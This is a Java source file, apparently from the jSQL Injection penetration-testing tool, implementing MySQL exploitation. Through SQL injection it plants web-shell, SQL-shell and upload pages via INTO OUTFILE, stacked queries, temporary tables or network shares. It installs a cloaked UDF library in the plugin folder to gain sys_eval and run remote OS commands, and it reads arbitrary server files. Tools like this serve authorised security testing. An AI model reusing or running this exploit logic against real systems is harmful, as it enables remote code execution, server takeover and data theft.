View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ExploitMode;
6   import com.jsql.model.accessible.ResourceAccess;
7   import com.jsql.model.accessible.engine.mysql.ModelYamlMysql;
8   import com.jsql.model.bean.database.MockElement;
9   import com.jsql.model.suspendable.Input;
10  import com.jsql.view.subscriber.Seal;
11  import com.jsql.model.exception.AbstractSlidingException;
12  import com.jsql.model.exception.JSqlException;
13  import com.jsql.model.exception.JSqlRuntimeException;
14  import com.jsql.model.injection.engine.model.EngineYaml;
15  import com.jsql.model.suspendable.SuspendableGetRows;
16  import com.jsql.util.LogLevelUtil;
17  import com.jsql.util.StringUtil;
18  import org.apache.commons.codec.binary.Hex;
19  import org.apache.commons.lang3.RandomStringUtils;
20  import org.apache.commons.lang3.StringUtils;
21  import org.apache.logging.log4j.LogManager;
22  import org.apache.logging.log4j.Logger;
23  import org.yaml.snakeyaml.Yaml;
24  
25  import java.io.*;
26  import java.net.http.HttpResponse;
27  import java.nio.charset.StandardCharsets;
28  import java.nio.file.Files;
29  import java.nio.file.Path;
30  import java.nio.file.Paths;
31  import java.util.List;
32  import java.util.Objects;
33  import java.util.UUID;
34  import java.util.function.BiPredicate;
35  import java.util.function.BinaryOperator;
36  
37  public class ExploitMysql {
38  
39      private static final Logger LOGGER = LogManager.getRootLogger();
40      public static final String NAME_TABLE = "temp";
41      private final InjectionModel injectionModel;
42      private final ModelYamlMysql modelYaml;
43  
44      private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
45          try {
46              return this.buildSysEval(nameLibraryRandom);
47          } catch (JSqlException e) {
48              throw new JSqlRuntimeException(e);
49          }
50      };
51  
52      public ExploitMysql(InjectionModel injectionModel) {
53          this.injectionModel = injectionModel;
54          var yaml = new Yaml();
55          this.modelYaml = yaml.loadAs(
56              injectionModel.getMediatorEngine().getMysql().instance().getModelYaml().getResource().getExploit(),
57              ModelYamlMysql.class
58          );
59      }
60  
61      public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
62          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
63  
64          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
65              this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
66              return urlSuccess;
67          };
68          return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
69      }
70  
71      public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
72          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
73              var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
74              if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
75                  this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
76                  return urlSuccess;
77              }
78              return StringUtils.EMPTY;
79          };
80          var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
81          if (StringUtils.isEmpty(urlSuccess)) {
82              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
83              urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
84          }
85          if (StringUtils.isEmpty(urlSuccess)) {
86              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
87              urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
88          }
89          if (StringUtils.isEmpty(urlSuccess)) {
90              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
91          }
92          return urlSuccess;
93      }
94  
95      public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
96          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
97              try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
98                  HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
99                  if (result.body().contains(DataAccess.LEAD +"y")) {
100                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
101                 } else {
102                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
103                 }
104             } catch (InterruptedException e) {
105                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
106                 Thread.currentThread().interrupt();
107             } catch (IOException | JSqlException e) {
108                 throw new JSqlRuntimeException(e);
109             }
110             return urlSuccess;
111         };
112         this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
113     }
114 
115     /**
116      * Create shell on remote server
117      * @param urlExploit  URL for the script (used for url rewriting)
118      */
119     public String create(
120         String pathRemoteFolder,
121         String urlExploit,
122         String keyPropertyExploit,
123         String nameExploit,
124         BinaryOperator<String> biFuncGetRequest,
125         String pathNetshareFolder,
126         ExploitMode exploitMode
127     ) throws JSqlException {
128         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
129             return null;
130         }
131 
132         String bodyExploit = StringUtil.base64Decode(
133                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(keyPropertyExploit)
134             )
135             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
136             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
137 
138         // outfile + binary: content corruption
139         BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
140             try {
141                 String resultInjection = this.confirm(pathFolder + nameFile);
142                 return resultInjection.contains(bodyExploit);
143             } catch (JSqlException e) {
144                 throw new JSqlRuntimeException(e);
145             }
146         };
147 
148         var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
149         String nameExploitValidated = StringUtils.EMPTY;
150 
151         if (exploitMode == ExploitMode.NETSHARE) {
152             ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit);
153             nameExploitValidated = this.byNetshare(
154                 nbIndexesPrefix,
155                 pathNetshareFolder,
156                 nameExploit,
157                 pathRemoteFolder,
158                 biPredConfirm
159             );
160         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
161             nameExploitValidated = this.byQueryBody(
162                 nbIndexesPrefix,
163                 pathRemoteFolder,
164                 nameExploit,
165                 StringUtil.toHexChunks(bodyExploit.getBytes()),
166                 biPredConfirm
167             );
168         }
169         if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
170             var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
171             this.byTable(
172                 StringUtil.toHexChunks(bodyExploit.getBytes()),
173                 pathRemoteFolder + nameExploitRandom
174             );
175             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
176                 nameExploitValidated = nameExploitRandom;
177             }
178         }
179 
180         if (StringUtils.isEmpty(nameExploitValidated)) {
181             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
182             return null;
183         }
184         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
185 
186         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploitValidated, biFuncGetRequest);
187     }
188 
189     public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
190         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
191 
192         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
193             return;
194         }
195 
196         var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
197         var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
198         if (StringUtils.isEmpty(pathPlugin)) {
199             throw new JSqlException("Incorrect plugin folder: path is empty");
200         }
201 
202         String nameLibrary = this.getNameLibrary();
203 
204         pathPlugin = pathPlugin.replace("\\", "/");
205         if (!pathPlugin.endsWith("/")) {
206             pathPlugin = String.format("%s%s", pathPlugin, "/");
207         }
208 
209         if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
210             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
211         }
212         String isSuccess = StringUtils.EMPTY;
213         if (exploitMode == ExploitMode.NETSHARE) {
214             var pathNetshareFolderFixed = pathNetshareFolder;
215             if (!pathNetshareFolderFixed.endsWith("\\")) {
216                 pathNetshareFolderFixed += "\\";
217             }
218             ExploitMysql.copyLibraryToShare(pathNetshareFolderFixed, nameLibrary);
219             isSuccess = this.byNetshare(
220                 nbIndexesFound,
221                 pathNetshareFolderFixed,
222                 nameLibrary,
223                 pathPlugin,
224                 this.biPredCreateUdf
225             );
226         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
227             if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().connectionUtil().getTypeRequest())) {
228                 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead");
229             }
230             isSuccess = this.byQueryBody(
231                 nbIndexesFound,
232                 pathPlugin,
233                 nameLibrary,
234                 ExploitMysql.toHexChunks(nameLibrary),
235                 this.biPredCreateUdf
236             );
237         }
238         if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
239             var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
240             this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
241             this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
242         }
243     }
244 
245     private String getNameLibrary() throws JSqlException {
246         var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
247         if (StringUtils.isEmpty(versionOsMachine)) {
248             throw new JSqlException("Incorrect remote machine: unknown system");
249         }
250         var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
251         String nameLibrary;
252         if (versionOsMachine.contains("64")) {
253             nameLibrary = isWin ? "64.dll" : "64.so";
254         } else {
255             nameLibrary = isWin ? "32.dll" : "32.so";
256         }
257         return nameLibrary;
258     }
259 
260     public String byQueryBody(
261         int nbIndexesPrefix,
262         String pathRemoteFolder,
263         String nameExploit,
264         List<String> hexChunks,
265         BiPredicate<String, String> biPredConfirm
266     ) {
267         String nameExploitValidated = StringUtils.EMPTY;
268         var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
269 
270         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
271         int countUnionIndex = this.injectionModel.getMediatorUtils().preferencesUtil().isLimitingUnionIndex()
272             ? this.injectionModel.getMediatorUtils().preferencesUtil().countUnionIndex()
273             : 15;
274         for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) {
275             int finalI = i;
276             LOGGER.log(
277                 LogLevelUtil.CONSOLE_DEFAULT,
278                 "Checking file write with [union select {}fileBody]",
279                 () -> "'',".repeat(finalI)
280             );
281             this.injectionModel.injectWithoutIndex(String.format(pattern,
282                 "and 1=2 union",  // false required, prevent writing origin rows instead of file body when true
283                 "'',".repeat(i),
284                 String.join(StringUtils.EMPTY, hexChunks),
285                 pathRemoteFolder + nameExploitRandom
286             ), "body#union-dump");
287             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
288                 nameExploitValidated = nameExploitRandom;
289                 break;
290             } else if (nbIndexesPrefix > -1) {  // interrupt when Union already found
291                 break;
292             }
293         }
294         if (StringUtils.isEmpty(nameExploitValidated)) {
295             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
296             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
297             this.injectionModel.injectWithoutIndex(String.format(pattern,
298                 ";",
299                 StringUtils.EMPTY,
300                 String.join(StringUtils.EMPTY, hexChunks),
301                 pathRemoteFolder + nameExploitRandom
302             ), "body#stack-dump");
303             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
304                 nameExploitValidated = nameExploitRandom;
305             }
306         }
307         return nameExploitValidated;
308     }
309 
310     public String byNetshare(
311         int nbIndexesPrefix,
312         String pathNetshareFolder,
313         String nameExploit,
314         String pathRemoteFolder,
315         BiPredicate<String, String> biPredConfirm
316     ) {
317         String nameExploitValidated = StringUtils.EMPTY;
318         var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
319         var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
320 
321         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
322         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
323         this.injectionModel.injectWithoutIndex(String.format(pattern,
324             "and 1=2 union",  // required false, prevent writing origin rows instead of file body when true
325             "'',".repeat(nbIndexesPrefix),
326             pathShareEncoded + nameExploit,
327             pathRemoteFolder + nameExploitRandom
328         ), "netshare#union");
329         if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
330             nameExploitValidated = nameExploitRandom;
331         }
332         if (StringUtils.isEmpty(nameExploitValidated)) {
333             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
334             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
335             this.injectionModel.injectWithoutIndex(String.format(pattern,
336                 ";",
337                 StringUtils.EMPTY,
338                 pathShareEncoded + nameExploit,
339                 pathRemoteFolder + nameExploitRandom
340             ), "netshare#stack");
341             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
342                 nameExploitValidated = nameExploitRandom;
343             }
344         }
345         return nameExploitValidated;
346     }
347 
348     public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
349         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
350         var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
351         if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
352             nameDatabase = "mysql";
353         }
354         var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);  // underscore required, dash not allowed
355         var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
356         this.injectionModel.injectWithoutIndex(String.format(
357             this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
358             nameSchemaTable
359         ), ResourceAccess.TBL_DROP);
360         var countResult = this.getCountTable(nameDatabase, nameTableRandom);
361         if (!"0".equals(countResult)) {
362             throw new JSqlException("Drop table failure: "+ countResult);
363         }
364         this.injectionModel.injectWithoutIndex(String.format(
365             this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
366             nameSchemaTable
367         ), ResourceAccess.TBL_CREATE);
368         countResult = this.getCountTable(nameDatabase, nameTableRandom);
369         if (!"1".equals(countResult)) {
370             throw new JSqlException("Create table failure: "+ countResult);
371         }
372         int indexChunk = 0;
373         for (String chunk: bodyHexChunks) {
374             if (indexChunk == 0) {
375                 this.injectionModel.injectWithoutIndex(String.format(
376                     this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
377                     nameSchemaTable,
378                     chunk
379                 ), "tbl#init");
380             } else {
381                 this.injectionModel.injectWithoutIndex(String.format(
382                     this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
383                     nameSchemaTable,
384                     chunk
385                 ), ResourceAccess.TBL_FILL);
386             }
387             indexChunk++;
388         }
389         this.injectionModel.injectWithoutIndex(String.format(
390             this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
391             nameSchemaTable,
392             pathRemoteFile
393         ), ResourceAccess.TBL_DUMP);
394     }
395 
396     private String getCountTable(String nameDatabase, String nameTableRandom) {
397         try {
398             return this.injectionModel.getResourceAccess().getResult(String.format(
399                 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
400                 nameTableRandom,
401                 nameDatabase
402             ), "tbl#check");
403         } catch (JSqlException e) {
404             return e.getMessage();  // error message then logged
405         }
406     }
407 
408     private boolean buildSysEval(String nameLibrary) throws JSqlException {
409         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
410         this.injectionModel.injectWithoutIndex(String.format(
411             this.modelYaml.getUdf().getAddFunction().getCreate(),
412             nameLibrary
413         ), "udf#function");
414         var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
415         if (!confirm.contains("sys_eval")) {
416             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
417             return false;
418         }
419         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
420 
421         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
422             (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitMysql().runRceCmd(command, terminalID)
423         ));
424         return true;
425     }
426 
427     public String confirm(String path) throws JSqlException {
428         var sourcePage = new String[]{ StringUtils.EMPTY };
429         return new SuspendableGetRows(this.injectionModel).run(new Input(
430             this.modelYaml.getFile().getRead().replace(
431                 EngineYaml.FILEPATH_HEX,
432                 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
433             ),
434             sourcePage,
435             false,
436             1,
437             MockElement.MOCK,
438             "xplt#confirm-file"
439         ));
440     }
441 
442     public String runRceCmd(String command, UUID uuidShell) {
443         String result;
444         try {
445             result = this.injectionModel.getResourceAccess().getResult(String.format(  // 0xff splits single result in many chunks => replace by space
446                 this.modelYaml.getUdf().getRunCmd(),
447                 command.replace(StringUtils.SPACE, "%20")  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
448             ), "udf#run-cmd") +"\n";
449         } catch (JSqlException e) {
450             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
451         }
452         this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));
453         return result;
454     }
455 
456     public String getRead(String pathFile) throws AbstractSlidingException {
457         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
458         return new SuspendableGetRows(this.injectionModel).run(new Input(
459             this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
460                 EngineYaml.FILEPATH_HEX,
461                 Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8))
462             ),
463             new String[]{ StringUtils.EMPTY },
464             false,
465             1,
466             MockElement.MOCK,
467             ResourceAccess.FILE_READ
468         ));
469     }
470 
471     private static List<String> toHexChunks(String filename) throws JSqlException {
472         try {
473             byte[] fileData = ExploitMysql.uncloak(filename);
474             return StringUtil.toHexChunks(fileData);
475         } catch (IOException e) {
476             throw new JSqlException(e);
477         }
478     }
479 
480     private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
481         try {
482             byte[] fileData = ExploitMysql.uncloak(nameLibrary);
483             Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary);
484             try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) {
485                 stream.write(fileData);
486             }
487         } catch (IOException e) {
488             throw new JSqlException(e);
489         }
490     }
491 
492     private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException {
493         Path path = Paths.get(pathFile);
494         try {
495             Files.write(path, bodyExploit.getBytes());
496         } catch (IOException e) {
497             throw new JSqlException(e);
498         }
499     }
500 
501     private static byte[] uncloak(String nameLibrary) throws IOException {
502         byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
503             ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak")
504         ).readAllBytes();
505         fileData = StringUtil.uncloak(fileData);
506         return fileData;
507     }
508 
509     public ModelYamlMysql getModelYaml() {
510         return this.modelYaml;
511     }
512 }